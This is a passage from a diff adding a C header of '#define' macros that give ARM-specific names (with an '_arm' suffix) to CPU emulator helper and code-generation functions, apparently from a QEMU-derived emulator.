gen_helper_neon_qrshl_u64_arm +#define gen_helper_neon_qrshl_u8 gen_helper_neon_qrshl_u8_arm +#define gen_helper_neon_qshl_s16 gen_helper_neon_qshl_s16_arm +#define gen_helper_neon_qshl_s32 gen_helper_neon_qshl_s32_arm +#define gen_helper_neon_qshl_s64 gen_helper_neon_qshl_s64_arm +#define gen_helper_neon_qshl_s8 gen_helper_neon_qshl_s8_arm +#define gen_helper_neon_qshl_u16 gen_helper_neon_qshl_u16_arm +#define gen_helper_neon_qshl_u32 gen_helper_neon_qshl_u32_arm +#define gen_helper_neon_qshl_u64 gen_helper_neon_qshl_u64_arm +#define gen_helper_neon_qshl_u8 gen_helper_neon_qshl_u8_arm +#define gen_helper_neon_qshlu_s16 gen_helper_neon_qshlu_s16_arm +#define gen_helper_neon_qshlu_s32 gen_helper_neon_qshlu_s32_arm +#define gen_helper_neon_qshlu_s64 gen_helper_neon_qshlu_s64_arm +#define gen_helper_neon_qshlu_s8 gen_helper_neon_qshlu_s8_arm +#define gen_helper_neon_qsub_s16 gen_helper_neon_qsub_s16_arm +#define gen_helper_neon_qsub_s32 gen_helper_neon_qsub_s32_arm +#define gen_helper_neon_qsub_s64 gen_helper_neon_qsub_s64_arm +#define gen_helper_neon_qsub_s8 gen_helper_neon_qsub_s8_arm +#define gen_helper_neon_qsub_u16 gen_helper_neon_qsub_u16_arm +#define gen_helper_neon_qsub_u32 gen_helper_neon_qsub_u32_arm +#define gen_helper_neon_qsub_u64 gen_helper_neon_qsub_u64_arm +#define gen_helper_neon_qsub_u8 gen_helper_neon_qsub_u8_arm +#define gen_helper_neon_qunzip16 gen_helper_neon_qunzip16_arm +#define gen_helper_neon_qunzip32 gen_helper_neon_qunzip32_arm +#define gen_helper_neon_qunzip8 gen_helper_neon_qunzip8_arm +#define gen_helper_neon_qzip16 gen_helper_neon_qzip16_arm +#define gen_helper_neon_qzip32 gen_helper_neon_qzip32_arm +#define gen_helper_neon_qzip8 gen_helper_neon_qzip8_arm +#define gen_helper_neon_rhadd_s16 gen_helper_neon_rhadd_s16_arm +#define gen_helper_neon_rhadd_s32 gen_helper_neon_rhadd_s32_arm +#define gen_helper_neon_rhadd_s8 gen_helper_neon_rhadd_s8_arm +#define gen_helper_neon_rhadd_u16 gen_helper_neon_rhadd_u16_arm +#define gen_helper_neon_rhadd_u32 gen_helper_neon_rhadd_u32_arm +#define gen_helper_neon_rhadd_u8 gen_helper_neon_rhadd_u8_arm +#define gen_helper_neon_rshl_s16 gen_helper_neon_rshl_s16_arm +#define gen_helper_neon_rshl_s32 gen_helper_neon_rshl_s32_arm +#define gen_helper_neon_rshl_s64 gen_helper_neon_rshl_s64_arm +#define gen_helper_neon_rshl_s8 gen_helper_neon_rshl_s8_arm +#define gen_helper_neon_rshl_u16 gen_helper_neon_rshl_u16_arm +#define gen_helper_neon_rshl_u32 gen_helper_neon_rshl_u32_arm +#define gen_helper_neon_rshl_u64 gen_helper_neon_rshl_u64_arm +#define gen_helper_neon_rshl_u8 gen_helper_neon_rshl_u8_arm +#define gen_helper_neon_shl_s16 gen_helper_neon_shl_s16_arm +#define gen_helper_neon_shl_s32 gen_helper_neon_shl_s32_arm +#define gen_helper_neon_shl_s64 gen_helper_neon_shl_s64_arm +#define gen_helper_neon_shl_s8 gen_helper_neon_shl_s8_arm +#define gen_helper_neon_shl_u16 gen_helper_neon_shl_u16_arm +#define gen_helper_neon_shl_u32 gen_helper_neon_shl_u32_arm +#define gen_helper_neon_shl_u64 gen_helper_neon_shl_u64_arm +#define gen_helper_neon_shl_u8 gen_helper_neon_shl_u8_arm +#define gen_helper_neon_subl_u16 gen_helper_neon_subl_u16_arm +#define gen_helper_neon_subl_u32 gen_helper_neon_subl_u32_arm +#define gen_helper_neon_sub_u16 gen_helper_neon_sub_u16_arm +#define gen_helper_neon_sub_u8 gen_helper_neon_sub_u8_arm +#define gen_helper_neon_tbl gen_helper_neon_tbl_arm +#define gen_helper_neon_tst_u16 gen_helper_neon_tst_u16_arm +#define gen_helper_neon_tst_u32 gen_helper_neon_tst_u32_arm +#define gen_helper_neon_tst_u8 gen_helper_neon_tst_u8_arm +#define gen_helper_neon_unarrow_sat16 gen_helper_neon_unarrow_sat16_arm +#define gen_helper_neon_unarrow_sat32 gen_helper_neon_unarrow_sat32_arm +#define gen_helper_neon_unarrow_sat8 gen_helper_neon_unarrow_sat8_arm +#define gen_helper_neon_unzip16 gen_helper_neon_unzip16_arm +#define gen_helper_neon_unzip8 gen_helper_neon_unzip8_arm +#define gen_helper_neon_widen_s16 gen_helper_neon_widen_s16_arm +#define gen_helper_neon_widen_s8 gen_helper_neon_widen_s8_arm +#define gen_helper_neon_widen_u16 gen_helper_neon_widen_u16_arm +#define gen_helper_neon_widen_u8 gen_helper_neon_widen_u8_arm +#define gen_helper_neon_zip16 gen_helper_neon_zip16_arm +#define gen_helper_neon_zip8 gen_helper_neon_zip8_arm +#define gen_helper_pre_hvc gen_helper_pre_hvc_arm +#define gen_helper_pre_smc gen_helper_pre_smc_arm +#define gen_helper_qadd16 gen_helper_qadd16_arm +#define gen_helper_qadd8 gen_helper_qadd8_arm +#define gen_helper_qaddsubx gen_helper_qaddsubx_arm +#define gen_helper_qsub16 gen_helper_qsub16_arm +#define gen_helper_qsub8 gen_helper_qsub8_arm +#define gen_helper_qsubaddx gen_helper_qsubaddx_arm +#define gen_helper_rbit gen_helper_rbit_arm +#define gen_helper_recpe_f32 gen_helper_recpe_f32_arm +#define gen_helper_recpe_u32 gen_helper_recpe_u32_arm +#define gen_helper_recps_f32 gen_helper_recps_f32_arm +#define gen_helper_rintd gen_helper_rintd_arm +#define gen_helper_rintd_exact gen_helper_rintd_exact_arm +#define gen_helper_rints gen_helper_rints_arm +#define gen_helper_rints_exact gen_helper_rints_exact_arm +#define gen_helper_ror_cc gen_helper_ror_cc_arm +#define gen_helper_rsqrte_f32 gen_helper_rsqrte_f32_arm +#define gen_helper_rsqrte_u32 gen_helper_rsqrte_u32_arm +#define gen_helper_rsqrts_f32 gen_helper_rsqrts_f32_arm +#define gen_helper_sadd16 gen_helper_sadd16_arm +#define gen_helper_sadd8 gen_helper_sadd8_arm +#define gen_helper_saddsubx gen_helper_saddsubx_arm +#define gen_helper_sar_cc gen_helper_sar_cc_arm +#define gen_helper_sdiv gen_helper_sdiv_arm +#define gen_helper_sel_flags gen_helper_sel_flags_arm +#define gen_helper_set_cp_reg gen_helper_set_cp_reg_arm +#define gen_helper_set_cp_reg64 gen_helper_set_cp_reg64_arm +#define gen_helper_set_neon_rmode gen_helper_set_neon_rmode_arm +#define gen_helper_set_r13_banked gen_helper_set_r13_banked_arm +#define gen_helper_set_rmode gen_helper_set_rmode_arm +#define gen_helper_set_user_reg gen_helper_set_user_reg_arm +#define gen_helper_shadd16 gen_helper_shadd16_arm +#define gen_helper_shadd8 gen_helper_shadd8_arm +#define gen_helper_shaddsubx gen_helper_shaddsubx_arm +#define gen_helper_shl_cc gen_helper_shl_cc_arm +#define gen_helper_shr_cc gen_helper_shr_cc_arm +#define gen_helper_shsub16 gen_helper_shsub16_arm +#define gen_helper_shsub8 gen_helper_shsub8_arm +#define gen_helper_shsubaddx gen_helper_shsubaddx_arm +#define gen_helper_ssat gen_helper_ssat_arm +#define gen_helper_ssat16 gen_helper_ssat16_arm +#define gen_helper_ssub16 gen_helper_ssub16_arm +#define gen_helper_ssub8 gen_helper_ssub8_arm +#define gen_helper_ssubaddx gen_helper_ssubaddx_arm +#define gen_helper_sub_saturate gen_helper_sub_saturate_arm +#define gen_helper_sxtb16 gen_helper_sxtb16_arm +#define gen_helper_uadd16 gen_helper_uadd16_arm +#define gen_helper_uadd8 gen_helper_uadd8_arm +#define gen_helper_uaddsubx gen_helper_uaddsubx_arm +#define gen_helper_udiv gen_helper_udiv_arm +#define gen_helper_uhadd16 gen_helper_uhadd16_arm +#define gen_helper_uhadd8 gen_helper_uhadd8_arm +#define gen_helper_uhaddsubx gen_helper_uhaddsubx_arm +#define gen_helper_uhsub16 gen_helper_uhsub16_arm +#define gen_helper_uhsub8 gen_helper_uhsub8_arm +#define gen_helper_uhsubaddx gen_helper_uhsubaddx_arm +#define gen_helper_uqadd16 gen_helper_uqadd16_arm +#define gen_helper_uqadd8 gen_helper_uqadd8_arm +#define gen_helper_uqaddsubx gen_helper_uqaddsubx_arm +#define gen_helper_uqsub16 gen_helper_uqsub16_arm +#define gen_helper_uqsub8 gen_helper_uqsub8_arm +#define gen_helper_uqsubaddx gen_helper_uqsubaddx_arm +#define gen_helper_usad8 gen_helper_usad8_arm +#define gen_helper_usat gen_helper_usat_arm +#define gen_helper_usat16 gen_helper_usat16_arm +#define gen_helper_usub16 gen_helper_usub16_arm +#define gen_helper_usub8 gen_helper_usub8_arm +#define gen_helper_usubaddx gen_helper_usubaddx_arm +#define gen_helper_uxtb16 gen_helper_uxtb16_arm +#define gen_helper_v7m_mrs gen_helper_v7m_mrs_arm +#define gen_helper_v7m_msr gen_helper_v7m_msr_arm +#define gen_helper_vfp_absd gen_helper_vfp_absd_arm +#define gen_helper_vfp_abss gen_helper_vfp_abss_arm +#define gen_helper_vfp_addd gen_helper_vfp_addd_arm +#define gen_helper_vfp_adds gen_helper_vfp_adds_arm +#define gen_helper_vfp_cmpd gen_helper_vfp_cmpd_arm +#define gen_helper_vfp_cmped gen_helper_vfp_cmped_arm +#define gen_helper_vfp_cmpes gen_helper_vfp_cmpes_arm +#define gen_helper_vfp_cmps gen_helper_vfp_cmps_arm +#define gen_helper_vfp_divd gen_helper_vfp_divd_arm +#define gen_helper_vfp_divs gen_helper_vfp_divs_arm +#define gen_helper_vfp_fcvtds gen_helper_vfp_fcvtds_arm +#define gen_helper_vfp_fcvt_f16_to_f32 gen_helper_vfp_fcvt_f16_to_f32_arm +#define gen_helper_vfp_fcvt_f16_to_f64 gen_helper_vfp_fcvt_f16_to_f64_arm +#define gen_helper_vfp_fcvt_f32_to_f16 gen_helper_vfp_fcvt_f32_to_f16_arm +#define gen_helper_vfp_fcvt_f64_to_f16 gen_helper_vfp_fcvt_f64_to_f16_arm +#define gen_helper_vfp_fcvtsd gen_helper_vfp_fcvtsd_arm +#define gen_helper_vfp_get_fpscr gen_helper_vfp_get_fpscr_arm +#define gen_helper_vfp_maxnumd gen_helper_vfp_maxnumd_arm +#define gen_helper_vfp_maxnums gen_helper_vfp_maxnums_arm +#define gen_helper_vfp_maxs gen_helper_vfp_maxs_arm +#define gen_helper_vfp_minnumd gen_helper_vfp_minnumd_arm +#define gen_helper_vfp_minnums gen_helper_vfp_minnums_arm +#define gen_helper_vfp_mins gen_helper_vfp_mins_arm +#define gen_helper_vfp_muladdd gen_helper_vfp_muladdd_arm +#define gen_helper_vfp_muladds gen_helper_vfp_muladds_arm +#define gen_helper_vfp_muld gen_helper_vfp_muld_arm +#define gen_helper_vfp_muls gen_helper_vfp_muls_arm +#define gen_helper_vfp_negd gen_helper_vfp_negd_arm +#define gen_helper_vfp_negs gen_helper_vfp_negs_arm +#define gen_helper_vfp_set_fpscr gen_helper_vfp_set_fpscr_arm +#define gen_helper_vfp_shtod gen_helper_vfp_shtod_arm +#define gen_helper_vfp_shtos gen_helper_vfp_shtos_arm +#define gen_helper_vfp_sitod gen_helper_vfp_sitod_arm +#define gen_helper_vfp_sitos gen_helper_vfp_sitos_arm +#define gen_helper_vfp_sltod gen_helper_vfp_sltod_arm +#define gen_helper_vfp_sltos gen_helper_vfp_sltos_arm +#define gen_helper_vfp_sqrtd gen_helper_vfp_sqrtd_arm +#define gen_helper_vfp_sqrts gen_helper_vfp_sqrts_arm +#define gen_helper_vfp_subd gen_helper_vfp_subd_arm +#define gen_helper_vfp_subs gen_helper_vfp_subs_arm +#define gen_helper_vfp_toshd_round_to_zero gen_helper_vfp_toshd_round_to_zero_arm +#define gen_helper_vfp_toshs_round_to_zero gen_helper_vfp_toshs_round_to_zero_arm +#define gen_helper_vfp_tosid gen_helper_vfp_tosid_arm +#define gen_helper_vfp_tosis gen_helper_vfp_tosis_arm +#define gen_helper_vfp_tosizd gen_helper_vfp_tosizd_arm +#define gen_helper_vfp_tosizs gen_helper_vfp_tosizs_arm +#define gen_helper_vfp_tosld gen_helper_vfp_tosld_arm +#define gen_helper_vfp_tosld_round_to_zero gen_helper_vfp_tosld_round_to_zero_arm +#define gen_helper_vfp_tosls gen_helper_vfp_tosls_arm +#define gen_helper_vfp_tosls_round_to_zero gen_helper_vfp_tosls_round_to_zero_arm +#define gen_helper_vfp_touhd_round_to_zero gen_helper_vfp_touhd_round_to_zero_arm +#define gen_helper_vfp_touhs_round_to_zero gen_helper_vfp_touhs_round_to_zero_arm +#define gen_helper_vfp_touid gen_helper_vfp_touid_arm +#define gen_helper_vfp_touis gen_helper_vfp_touis_arm +#define gen_helper_vfp_touizd gen_helper_vfp_touizd_arm +#define gen_helper_vfp_touizs gen_helper_vfp_touizs_arm +#define gen_helper_vfp_tould gen_helper_vfp_tould_arm +#define gen_helper_vfp_tould_round_to_zero gen_helper_vfp_tould_round_to_zero_arm +#define gen_helper_vfp_touls gen_helper_vfp_touls_arm +#define gen_helper_vfp_touls_round_to_zero gen_helper_vfp_touls_round_to_zero_arm +#define gen_helper_vfp_uhtod gen_helper_vfp_uhtod_arm +#define gen_helper_vfp_uhtos gen_helper_vfp_uhtos_arm +#define gen_helper_vfp_uitod gen_helper_vfp_uitod_arm +#define gen_helper_vfp_uitos gen_helper_vfp_uitos_arm +#define gen_helper_vfp_ultod gen_helper_vfp_ultod_arm +#define gen_helper_vfp_ultos gen_helper_vfp_ultos_arm +#define gen_helper_wfe gen_helper_wfe_arm +#define gen_helper_wfi gen_helper_wfi_arm +#define gen_hvc gen_hvc_arm +#define gen_intermediate_code_internal gen_intermediate_code_internal_arm +#define gen_intermediate_code_internal_a64 gen_intermediate_code_internal_a64_arm +#define gen_iwmmxt_address gen_iwmmxt_address_arm +#define gen_iwmmxt_shift gen_iwmmxt_shift_arm +#define gen_jmp gen_jmp_arm +#define gen_load_and_replicate gen_load_and_replicate_arm +#define gen_load_exclusive gen_load_exclusive_arm +#define gen_logic_CC gen_logic_CC_arm +#define gen_logicq_cc gen_logicq_cc_arm +#define gen_lookup_tb gen_lookup_tb_arm +#define gen_mov_F0_vreg gen_mov_F0_vreg_arm +#define gen_mov_F1_vreg gen_mov_F1_vreg_arm +#define gen_mov_vreg_F0 gen_mov_vreg_F0_arm +#define gen_muls_i64_i32 gen_muls_i64_i32_arm +#define gen_mulu_i64_i32 gen_mulu_i64_i32_arm +#define gen_mulxy gen_mulxy_arm +#define gen_neon_add gen_neon_add_arm +#define gen_neon_addl gen_neon_addl_arm +#define gen_neon_addl_saturate gen_neon_addl_saturate_arm +#define gen_neon_bsl gen_neon_bsl_arm +#define gen_neon_dup_high16 gen_neon_dup_high16_arm +#define gen_neon_dup_low16 gen_neon_dup_low16_arm +#define gen_neon_dup_u8 gen_neon_dup_u8_arm +#define gen_neon_mull gen_neon_mull_arm +#define gen_neon_narrow gen_neon_narrow_arm +#define gen_neon_narrow_op gen_neon_narrow_op_arm +#define gen_neon_narrow_sats gen_neon_narrow_sats_arm +#define gen_neon_narrow_satu gen_neon_narrow_satu_arm +#define gen_neon_negl gen_neon_negl_arm +#define gen_neon_rsb gen_neon_rsb_arm +#define gen_neon_shift_narrow gen_neon_shift_narrow_arm +#define gen_neon_subl gen_neon_subl_arm +#define gen_neon_trn_u16 gen_neon_trn_u16_arm +#define gen_neon_trn_u8 gen_neon_trn_u8_arm +#define gen_neon_unarrow_sats gen_neon_unarrow_sats_arm +#define gen_neon_unzip gen_neon_unzip_arm +#define gen_neon_widen gen_neon_widen_arm +#define gen_neon_zip gen_neon_zip_arm +#define gen_new_label gen_new_label_arm +#define gen_nop_hint gen_nop_hint_arm +#define gen_op_iwmmxt_addl_M0_wRn gen_op_iwmmxt_addl_M0_wRn_arm +#define gen_op_iwmmxt_addnb_M0_wRn gen_op_iwmmxt_addnb_M0_wRn_arm +#define gen_op_iwmmxt_addnl_M0_wRn gen_op_iwmmxt_addnl_M0_wRn_arm +#define gen_op_iwmmxt_addnw_M0_wRn gen_op_iwmmxt_addnw_M0_wRn_arm +#define gen_op_iwmmxt_addsb_M0_wRn gen_op_iwmmxt_addsb_M0_wRn_arm +#define gen_op_iwmmxt_addsl_M0_wRn gen_op_iwmmxt_addsl_M0_wRn_arm +#define gen_op_iwmmxt_addsw_M0_wRn gen_op_iwmmxt_addsw_M0_wRn_arm +#define gen_op_iwmmxt_addub_M0_wRn gen_op_iwmmxt_addub_M0_wRn_arm +#define gen_op_iwmmxt_addul_M0_wRn gen_op_iwmmxt_addul_M0_wRn_arm +#define gen_op_iwmmxt_adduw_M0_wRn gen_op_iwmmxt_adduw_M0_wRn_arm +#define gen_op_iwmmxt_andq_M0_wRn gen_op_iwmmxt_andq_M0_wRn_arm +#define gen_op_iwmmxt_avgb0_M0_wRn gen_op_iwmmxt_avgb0_M0_wRn_arm +#define gen_op_iwmmxt_avgb1_M0_wRn gen_op_iwmmxt_avgb1_M0_wRn_arm +#define gen_op_iwmmxt_avgw0_M0_wRn gen_op_iwmmxt_avgw0_M0_wRn_arm +#define gen_op_iwmmxt_avgw1_M0_wRn gen_op_iwmmxt_avgw1_M0_wRn_arm +#define gen_op_iwmmxt_cmpeqb_M0_wRn gen_op_iwmmxt_cmpeqb_M0_wRn_arm +#define gen_op_iwmmxt_cmpeql_M0_wRn gen_op_iwmmxt_cmpeql_M0_wRn_arm +#define gen_op_iwmmxt_cmpeqw_M0_wRn gen_op_iwmmxt_cmpeqw_M0_wRn_arm +#define gen_op_iwmmxt_cmpgtsb_M0_wRn gen_op_iwmmxt_cmpgtsb_M0_wRn_arm +#define gen_op_iwmmxt_cmpgtsl_M0_wRn gen_op_iwmmxt_cmpgtsl_M0_wRn_arm +#define gen_op_iwmmxt_cmpgtsw_M0_wRn gen_op_iwmmxt_cmpgtsw_M0_wRn_arm +#define gen_op_iwmmxt_cmpgtub_M0_wRn gen_op_iwmmxt_cmpgtub_M0_wRn_arm +#define gen_op_iwmmxt_cmpgtul_M0_wRn gen_op_iwmmxt_cmpgtul_M0_wRn_arm +#define gen_op_iwmmxt_cmpgtuw_M0_wRn gen_op_iwmmxt_cmpgtuw_M0_wRn_arm +#define gen_op_iwmmxt_macsw_M0_wRn gen_op_iwmmxt_macsw_M0_wRn_arm +#define gen_op_iwmmxt_macuw_M0_wRn gen_op_iwmmxt_macuw_M0_wRn_arm +#define gen_op_iwmmxt_maddsq_M0_wRn gen_op_iwmmxt_maddsq_M0_wRn_arm +#define gen_op_iwmmxt_madduq_M0_wRn gen_op_iwmmxt_madduq_M0_wRn_arm +#define gen_op_iwmmxt_maxsb_M0_wRn gen_op_iwmmxt_maxsb_M0_wRn_arm +#define gen_op_iwmmxt_maxsl_M0_wRn gen_op_iwmmxt_maxsl_M0_wRn_arm +#define gen_op_iwmmxt_maxsw_M0_wRn gen_op_iwmmxt_maxsw_M0_wRn_arm +#define gen_op_iwmmxt_maxub_M0_wRn gen_op_iwmmxt_maxub_M0_wRn_arm +#define gen_op_iwmmxt_maxul_M0_wRn gen_op_iwmmxt_maxul_M0_wRn_arm +#define gen_op_iwmmxt_maxuw_M0_wRn gen_op_iwmmxt_maxuw_M0_wRn_arm +#define gen_op_iwmmxt_minsb_M0_wRn gen_op_iwmmxt_minsb_M0_wRn_arm +#define gen_op_iwmmxt_minsl_M0_wRn gen_op_iwmmxt_minsl_M0_wRn_arm +#define gen_op_iwmmxt_minsw_M0_wRn gen_op_iwmmxt_minsw_M0_wRn_arm +#define gen_op_iwmmxt_minub_M0_wRn gen_op_iwmmxt_minub_M0_wRn_arm +#define gen_op_iwmmxt_minul_M0_wRn gen_op_iwmmxt_minul_M0_wRn_arm +#define gen_op_iwmmxt_minuw_M0_wRn gen_op_iwmmxt_minuw_M0_wRn_arm +#define gen_op_iwmmxt_movq_M0_wRn gen_op_iwmmxt_movq_M0_wRn_arm +#define gen_op_iwmmxt_movq_wRn_M0 gen_op_iwmmxt_movq_wRn_M0_arm +#define gen_op_iwmmxt_mulshw_M0_wRn gen_op_iwmmxt_mulshw_M0_wRn_arm +#define gen_op_iwmmxt_mulslw_M0_wRn gen_op_iwmmxt_mulslw_M0_wRn_arm +#define gen_op_iwmmxt_muluhw_M0_wRn gen_op_iwmmxt_muluhw_M0_wRn_arm +#define gen_op_iwmmxt_mululw_M0_wRn gen_op_iwmmxt_mululw_M0_wRn_arm +#define gen_op_iwmmxt_orq_M0_wRn gen_op_iwmmxt_orq_M0_wRn_arm +#define gen_op_iwmmxt_packsl_M0_wRn gen_op_iwmmxt_packsl_M0_wRn_arm +#define gen_op_iwmmxt_packsq_M0_wRn gen_op_iwmmxt_packsq_M0_wRn_arm +#define gen_op_iwmmxt_packsw_M0_wRn gen_op_iwmmxt_packsw_M0_wRn_arm +#define gen_op_iwmmxt_packul_M0_wRn gen_op_iwmmxt_packul_M0_wRn_arm +#define gen_op_iwmmxt_packuq_M0_wRn gen_op_iwmmxt_packuq_M0_wRn_arm +#define gen_op_iwmmxt_packuw_M0_wRn gen_op_iwmmxt_packuw_M0_wRn_arm +#define gen_op_iwmmxt_sadb_M0_wRn gen_op_iwmmxt_sadb_M0_wRn_arm +#define gen_op_iwmmxt_sadw_M0_wRn gen_op_iwmmxt_sadw_M0_wRn_arm +#define gen_op_iwmmxt_set_cup gen_op_iwmmxt_set_cup_arm +#define gen_op_iwmmxt_set_mup gen_op_iwmmxt_set_mup_arm +#define gen_op_iwmmxt_setpsr_nz gen_op_iwmmxt_setpsr_nz_arm +#define gen_op_iwmmxt_subnb_M0_wRn gen_op_iwmmxt_subnb_M0_wRn_arm +#define gen_op_iwmmxt_subnl_M0_wRn gen_op_iwmmxt_subnl_M0_wRn_arm +#define gen_op_iwmmxt_subnw_M0_wRn gen_op_iwmmxt_subnw_M0_wRn_arm +#define gen_op_iwmmxt_subsb_M0_wRn gen_op_iwmmxt_subsb_M0_wRn_arm +#define gen_op_iwmmxt_subsl_M0_wRn gen_op_iwmmxt_subsl_M0_wRn_arm +#define gen_op_iwmmxt_subsw_M0_wRn gen_op_iwmmxt_subsw_M0_wRn_arm +#define gen_op_iwmmxt_subub_M0_wRn gen_op_iwmmxt_subub_M0_wRn_arm +#define gen_op_iwmmxt_subul_M0_wRn gen_op_iwmmxt_subul_M0_wRn_arm +#define gen_op_iwmmxt_subuw_M0_wRn gen_op_iwmmxt_subuw_M0_wRn_arm +#define gen_op_iwmmxt_unpackhb_M0_wRn gen_op_iwmmxt_unpackhb_M0_wRn_arm +#define gen_op_iwmmxt_unpackhl_M0_wRn gen_op_iwmmxt_unpackhl_M0_wRn_arm +#define gen_op_iwmmxt_unpackhsb_M0 gen_op_iwmmxt_unpackhsb_M0_arm +#define gen_op_iwmmxt_unpackhsl_M0 gen_op_iwmmxt_unpackhsl_M0_arm +#define gen_op_iwmmxt_unpackhsw_M0 gen_op_iwmmxt_unpackhsw_M0_arm +#define gen_op_iwmmxt_unpackhub_M0 gen_op_iwmmxt_unpackhub_M0_arm +#define gen_op_iwmmxt_unpackhul_M0 gen_op_iwmmxt_unpackhul_M0_arm +#define gen_op_iwmmxt_unpackhuw_M0 gen_op_iwmmxt_unpackhuw_M0_arm +#define gen_op_iwmmxt_unpackhw_M0_wRn gen_op_iwmmxt_unpackhw_M0_wRn_arm +#define gen_op_iwmmxt_unpacklb_M0_wRn gen_op_iwmmxt_unpacklb_M0_wRn_arm +#define gen_op_iwmmxt_unpackll_M0_wRn gen_op_iwmmxt_unpackll_M0_wRn_arm +#define gen_op_iwmmxt_unpacklsb_M0 gen_op_iwmmxt_unpacklsb_M0_arm +#define gen_op_iwmmxt_unpacklsl_M0 gen_op_iwmmxt_unpacklsl_M0_arm +#define gen_op_iwmmxt_unpacklsw_M0 gen_op_iwmmxt_unpacklsw_M0_arm +#define gen_op_iwmmxt_unpacklub_M0 gen_op_iwmmxt_unpacklub_M0_arm +#define gen_op_iwmmxt_unpacklul_M0 gen_op_iwmmxt_unpacklul_M0_arm +#define gen_op_iwmmxt_unpackluw_M0 gen_op_iwmmxt_unpackluw_M0_arm +#define gen_op_iwmmxt_unpacklw_M0_wRn gen_op_iwmmxt_unpacklw_M0_wRn_arm +#define gen_op_iwmmxt_xorq_M0_wRn gen_op_iwmmxt_xorq_M0_wRn_arm +#define gen_rev16 gen_rev16_arm +#define gen_revsh gen_revsh_arm +#define gen_rfe gen_rfe_arm +#define gen_sar gen_sar_arm +#define gen_sbc_CC gen_sbc_CC_arm +#define gen_sbfx gen_sbfx_arm +#define gen_set_CF_bit31 gen_set_CF_bit31_arm +#define gen_set_condexec gen_set_condexec_arm +#define gen_set_cpsr gen_set_cpsr_arm +#define gen_set_label gen_set_label_arm +#define gen_set_pc_im gen_set_pc_im_arm +#define gen_set_psr gen_set_psr_arm +#define gen_set_psr_im gen_set_psr_im_arm +#define gen_shl gen_shl_arm +#define gen_shr gen_shr_arm +#define gen_smc gen_smc_arm +#define gen_smul_dual gen_smul_dual_arm +#define gen_srs gen_srs_arm +#define gen_ss_advance gen_ss_advance_arm +#define gen_step_complete_exception gen_step_complete_exception_arm +#define gen_store_exclusive gen_store_exclusive_arm +#define gen_storeq_reg gen_storeq_reg_arm +#define gen_sub_carry gen_sub_carry_arm +#define gen_sub_CC gen_sub_CC_arm +#define gen_subq_msw gen_subq_msw_arm +#define gen_swap_half gen_swap_half_arm +#define gen_thumb2_data_op gen_thumb2_data_op_arm +#define gen_thumb2_parallel_addsub gen_thumb2_parallel_addsub_arm +#define gen_ubfx gen_ubfx_arm +#define gen_vfp_abs gen_vfp_abs_arm +#define gen_vfp_add gen_vfp_add_arm +#define gen_vfp_cmp gen_vfp_cmp_arm +#define gen_vfp_cmpe gen_vfp_cmpe_arm +#define gen_vfp_div gen_vfp_div_arm +#define gen_vfp_F1_ld0 gen_vfp_F1_ld0_arm +#define gen_vfp_F1_mul gen_vfp_F1_mul_arm +#define gen_vfp_F1_neg gen_vfp_F1_neg_arm +#define gen_vfp_ld gen_vfp_ld_arm +#define gen_vfp_mrs gen_vfp_mrs_arm +#define gen_vfp_msr gen_vfp_msr_arm +#define gen_vfp_mul gen_vfp_mul_arm +#define gen_vfp_neg gen_vfp_neg_arm +#define gen_vfp_shto gen_vfp_shto_arm +#define gen_vfp_sito gen_vfp_sito_arm +#define gen_vfp_slto gen_vfp_slto_arm +#define gen_vfp_sqrt gen_vfp_sqrt_arm +#define gen_vfp_st gen_vfp_st_arm +#define gen_vfp_sub gen_vfp_sub_arm +#define gen_vfp_tosh gen_vfp_tosh_arm +#define gen_vfp_tosi gen_vfp_tosi_arm +#define gen_vfp_tosiz gen_vfp_tosiz_arm +#define gen_vfp_tosl gen_vfp_tosl_arm +#define gen_vfp_touh gen_vfp_touh_arm +#define gen_vfp_toui gen_vfp_toui_arm +#define gen_vfp_touiz gen_vfp_touiz_arm +#define gen_vfp_toul gen_vfp_toul_arm +#define gen_vfp_uhto gen_vfp_uhto_arm +#define gen_vfp_uito gen_vfp_uito_arm +#define gen_vfp_ulto gen_vfp_ulto_arm +#define get_arm_cp_reginfo get_arm_cp_reginfo_arm +#define get_clock get_clock_arm +#define get_clock_realtime get_clock_realtime_arm +#define get_constraint_priority get_constraint_priority_arm +#define get_float_exception_flags get_float_exception_flags_arm +#define get_float_rounding_mode get_float_rounding_mode_arm +#define get_fpstatus_ptr get_fpstatus_ptr_arm +#define get_level1_table_address get_level1_table_address_arm +#define get_mem_index get_mem_index_arm +#define get_next_param_value get_next_param_value_arm +#define get_opt_name get_opt_name_arm +#define get_opt_value get_opt_value_arm +#define get_page_addr_code get_page_addr_code_arm +#define get_param_value get_param_value_arm +#define get_phys_addr get_phys_addr_arm +#define get_phys_addr_lpae get_phys_addr_lpae_arm +#define get_phys_addr_mpu get_phys_addr_mpu_arm +#define get_phys_addr_v5 get_phys_addr_v5_arm +#define get_phys_addr_v6 get_phys_addr_v6_arm +#define get_system_memory get_system_memory_arm +#define get_ticks_per_sec get_ticks_per_sec_arm +#define g_list_insert_sorted_merged g_list_insert_sorted_merged_arm +#define _GLOBAL_OFFSET_TABLE_ _GLOBAL_OFFSET_TABLE__arm +#define gt_cntfrq_access gt_cntfrq_access_arm +#define gt_cnt_read gt_cnt_read_arm +#define gt_cnt_reset gt_cnt_reset_arm +#define gt_counter_access gt_counter_access_arm +#define gt_ctl_write gt_ctl_write_arm +#define gt_cval_write gt_cval_write_arm +#define gt_get_countervalue gt_get_countervalue_arm +#define gt_pct_access gt_pct_access_arm +#define gt_ptimer_access gt_ptimer_access_arm +#define gt_recalc_timer gt_recalc_timer_arm +#define gt_timer_access gt_timer_access_arm +#define gt_tval_read gt_tval_read_arm +#define gt_tval_write gt_tval_write_arm +#define gt_vct_access gt_vct_access_arm +#define gt_vtimer_access gt_vtimer_access_arm +#define guest_phys_blocks_free guest_phys_blocks_free_arm +#define guest_phys_blocks_init guest_phys_blocks_init_arm +#define handle_vcvt handle_vcvt_arm +#define handle_vminmaxnm handle_vminmaxnm_arm +#define handle_vrint handle_vrint_arm +#define handle_vsel handle_vsel_arm +#define has_help_option has_help_option_arm +#define have_bmi1 have_bmi1_arm +#define have_bmi2 have_bmi2_arm +#define hcr_write hcr_write_arm +#define helper_access_check_cp_reg helper_access_check_cp_reg_arm +#define helper_add_saturate helper_add_saturate_arm +#define helper_add_setq helper_add_setq_arm +#define helper_add_usaturate helper_add_usaturate_arm +#define helper_be_ldl_cmmu helper_be_ldl_cmmu_arm +#define helper_be_ldq_cmmu helper_be_ldq_cmmu_arm +#define helper_be_ldq_mmu helper_be_ldq_mmu_arm +#define helper_be_ldsl_mmu 